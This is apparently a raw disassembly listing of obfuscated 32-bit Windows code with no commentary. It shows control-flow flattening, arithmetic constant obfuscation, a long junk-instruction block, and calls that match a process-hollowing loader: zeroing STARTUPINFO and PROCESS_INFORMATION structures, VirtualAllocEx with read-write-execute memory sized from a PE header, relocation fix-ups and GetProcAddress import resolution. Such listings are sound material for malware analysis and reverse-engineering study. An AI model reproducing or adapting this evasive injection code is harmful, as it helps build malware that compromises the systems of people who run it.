sub esi, 0x13d5fd93
add edx, esi
add edx, 0xd7197615
sub edx, 0xa0b21999
sub edx, 0xd7197615
sub edx, 0x9aa0a990
add edx, 0x13d5fd93
add edx, 0x9aa0a990
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete dh
cmp eax, 0xa
setl ch
mov dl, ch
xor dl, 0xff
and dl, 0
mov cl, 1
xor cl, 0
mov ah, ch
and ah, cl
mov al, 1
xor al, 1
and al, 0
and cl, 1
or dl, ah
or al, cl
xor dl, al
mov cl, dh
xor cl, 0xff
mov al, dl
and al, cl
xor dl, 0xff
mov cl, dh
and cl, dl
or al, cl
xor al, 0xff
mov dl, dh
xor dl, 0xff
mov cl, 1
xor cl, 1
or al, dl
or cl, 1
xor al, 0xff
and al, cl
mov ah, dh
xor ah, 0xff
and ah, 0
mov dl, 1
xor dl, 0
mov bl, dh
and bl, dl
mov cl, 1
xor cl, 1
and cl, 0
and dl, 1
or ah, bl
or cl, dl
xor ah, cl
xor ah, 0xff
xor ah, 0
and ah, 0
mov bl, 1
xor bl, 0
and bl, 1
mov cl, 1
xor cl, 1
and cl, 0
or bl, cl
xor dh, 0xff
mov dl, bl
xor dl, 0xff
mov cl, 1
xor cl, 0
or dh, dl
or cl, 0
xor dh, 0xff
and dh, cl
mov dl, ch
xor dl, 0xff
and dl, 1
mov bh, 1
xor bh, 1
mov cl, ch
and cl, bh
or dl, cl
mov bh, 1
xor bh, 0
mov cl, dl
xor cl, bh
and cl, dl
xor bl, 0xff
mov dl, ch
xor dl, bl
and dl, ch
mov ch, ah
and ch, dh
xor ah, dh
or ch, ah
mov ah, cl
and ah, dl
xor cl, dl
or ah, cl
mov cl, ch
xor cl, 0xff
and cl, 1
mov dh, 1
xor dh, 1
and ch, dh
mov dl, ah
xor dl, 0xff
and dl, 0xff
and ah, dh
or cl, ch
or dl, ah
xor cl, dl
mov dl, cl
xor dl, 0xff
mov bl, al
xor bl, dl
and bl, al
mov dl, al
xor dl, 0xff
mov dh, cl
and dh, dl
xor cl, 0xff
and al, cl
or dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x5ba8ab3d
mov ecx, 0xbbfd093f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x49a70], eax
jmp 0x42c62f
mov dword [ebp - 0x49a70], 0x428678c9
jmp 0x42c62f
mov eax, dword [ebp - 0x498f8]
mov dword [ebp - 0x4a55c], eax
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0048aab0
mov eax, dword [ebp - 0x4a55c]
add esp, 0x4a57c
pop esi
pop edi
pop ebx
pop ebp
ret
lea eax, [ebp - 0x49898]
xor ecx, ecx
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.0048bba0
lea eax, [ebp - 0x498dc]
xor ecx, ecx
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.0048bba0
mov dword [ebp - 0x498dc], 0x44
mov eax, dword [ebp - 0x499fc]
mov ecx, dword [eax + 0xa0]
mov dword [ebp - 0x498e4], ecx
mov eax, dword [eax + 0xa4]
mov dword [ebp - 0x498e0], eax
mov dword [ebp - 0x49a70], 0x1d639372
jmp 0x42c62f
mov eax, dword [ebp - 0x499fc]
mov eax, dword [eax + 0x50]
mov ecx, dword [ebp - 0x49898]
xor edx, edx
mov dword [esp], ecx
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
sub esp, 0x14
mov dword [ebp - 0x49a70], 0xfcd33122
jmp 0x42c62f
mov ecx, dword [ebp - 0x49a00]
mov eax, dword [ebp + 8]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x400
call fcn.0048b620
bswap ebx
dec eax
ror edx, 0xaf
dec ebx
inc eax
bswap edx
not esi
not esi
rcl edx, 0x5f
imul edx
or eax, 0xa5
sub ebx, 0x21
or esi, 0x96
ror edi, 0x99
rol ebx, 0xa6
inc ebx
neg ebx
and edx, 0x5c
not edi
inc edi
imul edi
bswap edx
bswap edi
bswap edi
ror esi, 0xda
neg edi
bswap edi
and edi, 0x94
rol eax, 0x45
and edi, 0xdf
bswap edx
dec edx
sbb ebx, 0xc9
sub edx, 0x72
add eax, 1
sbb edx, 0xe4
neg esi
bswap edx
inc esi
inc eax
neg edx
not eax
sub edi, 0x16
mov ebx, 0xd7
bswap eax
imul ebx
dec esi
rol edx, 0x49
neg edx
or esi, 0xda
bswap eax
and eax, 0x9b
bswap edx
and edi, 0xc
and ebx, 0xae
add ebx, 0xd7
not esi
mov edi, 0xde
dec edx
rcl esi, 0x56
dec edx
sub esi, 0xe6
not edi
sub eax, 0x56
rcl esi, 0x7f
imul edi
bswap ebx
dec ebx
bswap ebx
not ebx
rcr edi, 0x89
ror edi, 0x60
mov eax, 0xd9
inc edi
imul edi
and edx, 0xe9
rcl eax, 0x80
bswap edx
bswap edx
rol edi, 0x17
rcl ebx, 0xfa
inc esi
bswap edi
dec edi
sub eax, 0x98
or eax, 0x49
dec edi
inc ebx
imul edi
sbb edi, 0xf9
imul esi
sub eax, 0x36
and edx, 0x29
imul edx
not edx
imul edx
bswap edi
imul edx
add edi, 0xf5
inc ebx
not esi
and edi, 0x50
sub edx, 0x69
add eax, 0xbb
add esi, 0xb0
dec edx
bswap esi
add eax, 0x26
and eax, 0x98
bswap edx
add esi, 0xda
ror edx, 0x9b
imul edi
imul eax
rcl esi, 0x3e
not edx
rcr ebx, 0x72
neg eax
add esi, 0xc5
ror esi, 0x6b
bswap edi
sbb edi, 0x20
sub edi, 0x61
sbb edi, 0x39
not eax
inc edi
or eax, 0xc
inc ebx
rol eax, 0xbf
dec eax
or ebx, 0xb
imul edx
rcr ebx, 0xbe
ror eax, 0x46
bswap esi
neg eax
imul edi
sub eax, 0xd6
add edi, 0x84
mov ebx, 0xce
or edx, 0xf6
inc ebx
dec ebx
dec ebx
and eax, 0x60
rcr eax, 0xa0
inc edi
sub edi, 0x21
not edi
rcl esi, 0xf8
mov dword [ebp - 0x499f4], eax
mov dword [ebp - 0x49a70], 0x42752a28
jmp 0x42c62f
mov eax, dword [ebp - 0x49988]
movzx edi, word [eax]
mov ecx, 0xffffffff
xor ecx, 0xfff
and ecx, 0x2fc2be33
mov edx, 0xffffffff
xor edx, 0x2fc2be33
mov esi, edx
and esi, 0xfff
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0x2fc2be33
and edx, 0xffffffff
or ecx, esi
or eax, edx
xor ecx, eax
mov edx, 0xffffffff
xor edx, 0x64dabcf8
xor ecx, 0xffffffff
mov eax, 0xffffffff
xor eax, 0x45a6b5e2
or edx, ecx
or eax, 0x45a6b5e2
xor edx, 0xffffffff
and edx, eax
mov ecx, 0xffffffff
xor ecx, 0x64dabcf8
and ecx, 0xffffffff
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0x64dabcf8
or ecx, eax
mov dword [ebp - 0x4a568], ecx
mov ebx, 0xffffffff
xor ebx, 0xfff
xor ecx, 0xffffffff
mov eax, 0xffffffff
xor eax, 0xa2a6efb8
or ebx, ecx
or eax, 0xa2a6efb8
xor ebx, 0xffffffff
and ebx, eax
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0x1839c7e0
mov dword [ebp - 0x4a570], eax
mov esi, 0xffffffff
xor esi, 0x1839c7e0
mov ecx, esi
and ecx, 0xffffffff
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0x1839c7e0
mov dword [ebp - 0x4a56c], eax
mov eax, dword [ebp - 0x4a570]
and esi, 0xffffffff
or eax, ecx
mov ecx, dword [ebp - 0x4a56c]
or ecx, esi
xor eax, ecx
xor eax, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0x64dabcf8
mov esi, 0xffffffff
xor esi, 0xb9fb6d8a
or eax, ecx
mov ecx, dword [ebp - 0x4a568]
or esi, 0xb9fb6d8a
xor eax, 0xffffffff
and eax, esi
xor ecx, 0xffffffff
xor ecx, 0xffffffff
and ecx, 0xffffffff
mov esi, edx
and esi, ebx
xor edx, ebx
or esi, edx
mov edx, eax
and edx, ecx
xor eax, ecx
or edx, eax
mov eax, esi
xor eax, 0xffffffff
and eax, 0xf670ebd2
mov ebx, 0xffffffff
xor ebx, 0xf670ebd2
and esi, ebx
mov ecx, edx
xor ecx, 0xffffffff
and ecx, 0xf670ebd2
and edx, ebx
or eax, esi
or ecx, edx
xor eax, ecx
mov dword [ebp - 0x4a560], eax
mov edx, edi
xor edx, 0xffffffff
and edx, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xffffffff
mov eax, edi
and eax, ecx
or edx, eax
mov ecx, 0xffffffff
xor ecx, 0x478fca08
xor edx, 0xffffffff
mov eax, 0xffffffff
xor eax, 0x8372b65f
or ecx, edx
or eax, 0x8372b65f
xor ecx, 0xffffffff
and ecx, eax
mov edx, 0xffffffff
xor edx, 0x478fca08
and edx, 0x949b95ed
mov ebx, 0xffffffff
xor ebx, 0x949b95ed
mov eax, ebx
and eax, 0x478fca08
mov esi, 0xffffffff
xor esi, 0xffffffff
and esi, 0x949b95ed
and ebx, 0xffffffff
or edx, eax
mov eax, dword [ebp - 0x4a560]
or esi, ebx
xor edx, esi
mov dword [ebp - 0x4a564], edx
xor edx, 0xffffffff
mov ebx, edi
xor ebx, edx
and ebx, edi
mov esi, eax
xor esi, 0xffffffff
and esi, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xffffffff
and eax, edx
or esi, eax
mov eax, 0xffffffff
xor eax, 0x478fca08
mov edx, esi
xor edx, eax
mov eax, dword [ebp - 0x4a564]
and edx, esi
mov esi, dword [ebp - 0x4a560]
xor eax, 0xffffffff
xor esi, eax
mov eax, dword [ebp - 0x4a560]
and esi, eax
mov eax, ecx
and eax, ebx
xor ecx, ebx
or eax, ecx
mov ecx, edx
and ecx, esi
xor edx, esi
or ecx, edx
mov esi, eax
xor esi, 0xffffffff
mov edx, ecx
and edx, esi
xor ecx, 0xffffffff
and eax, ecx
or edx, eax
mov esi, edi
xor esi, 0xffffffff
and esi, 0x8f5d0460
mov ecx, 0xffffffff
xor ecx, 0x8f5d0460
and edi, ecx
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0x8f5d0460
and ecx, 0xffffffff
or esi, edi
or eax, ecx
xor esi, eax
mov eax, edx
xor eax, 0xffffffff
mov ecx, esi
and ecx, eax
xor esi, 0xffffffff
mov eax, edx
and eax, esi
or ecx, eax
xor edx, 0xffffffff
mov eax, ecx
xor eax, edx
and eax, ecx
mov ecx, dword [ebp - 0x4998c]
mov ecx, dword [ebp - 0x4998c]
mov ecx, dword [ebp - 0x4998c]
mov ecx, dword [ebp - 0x4998c]
mov edx, dword [ebp - 0x4998c]
sub edx, 0xb537a8c0
add edx, 0x893c3725
add edx, 0xb537a8c0
xor ecx, ecx
sub ecx, 0x2c2d3fb0
sub edx, ecx
xor ecx, ecx
sub ecx, 0x893c3725
add edx, ecx
xor ecx, ecx
sub ecx, edx
add ecx, 0
xor edx, edx
sub edx, 0x6146283b
sub edx, eax
add edx, 0x6146283b
xor eax, eax
sub eax, edx
sub ecx, eax
xor eax, eax
sub eax, 0x6ade74b1
sub eax, ecx
add eax, 0x6ade74b1
xor ecx, ecx
sub ecx, 0x9f299cb1
add eax, ecx
add eax, 0x2d5b5897
sub eax, 0x2c2d3fb0
sub eax, 0x2d5b5897
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 0x9f299cb1
add ecx, eax
xor eax, eax
sub eax, ecx
mov ecx, dword [eax]
mov edx, dword [ebp - 0x49990]
mov edx, dword [ebp - 0x49990]
mov edx, dword [ebp - 0x49990]
mov edx, dword [ebp - 0x49990]
mov edx, dword [ebp - 0x49990]
mov edx, dword [ebp - 0x49990]
xor esi, esi
sub esi, 0x3fb07de
sub esi, 0x395651b3
add esi, 0x3fb07de
add ecx, 0xf4939462
add ecx, esi
sub ecx, 0xf4939462
mov esi, 0x3f13a987
add esi, 0
sub esi, edx
sub esi, 0x3f13a987
xor edx, edx
sub edx, esi
add ecx, edx
xor edx, edx
sub edx, 0xb1d616f1
add ecx, edx
sub ecx, 0xf2f5323d
add ecx, 0x395651b3
add ecx, 0xf2f5323d
add ecx, 0xb28b5834
add ecx, 0xb1d616f1
sub ecx, 0xb28b5834
mov dword [eax], ecx
mov dword [ebp - 0x49a70], 0xec50d407
jmp 0x42c62f
mov eax, dword [ebp - 0x49a44]
add eax, 2
mov ecx, dword [ebp - 0x49a38]
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
sub esp, 8
mov dword [ebp - 0x49a70], 0x62912f4f
jmp 0x42c62f
mov eax, dword [ebp - 0x49958]
mov dword [ebp - 0x49a48], eax
mov dword [ebp - 0x49a70], 0x98c92469
jmp 0x42c62f
mov dword [ebp - 0x49a70], 0xd54ebd2b
jmp 0x42c62f
mov eax, dword [ebp - 0x49950]
mov dword [ebp - 0x49a40], eax
mov dword [ebp - 0x49a70], 0x1ca390ef
jmp 0x42c62f
mov dword [ebp - 0x49a50], 0x40
mov eax, dword [ebp - 0x49a08]
imul ecx, dword [ebp - 0x49a4c], 0x28
add eax, ecx
mov eax, dword [eax + 0x24]
mov dword [ebp - 0x49a54], eax
mov dword [ebp - 0x49a70], 0x65d09af1
jmp 0x42c62f
mov dword [ebp - 0x49a70], 0x500fbb84
jmp 0x42c62f
mov dword [ebp - 0x49a70], 0x3aafc6c1
jmp 0x42c62f
mov dword [ebp - 0x49a70], 0x102f0a54
jmp 0x42c62f
jmp 0x403bda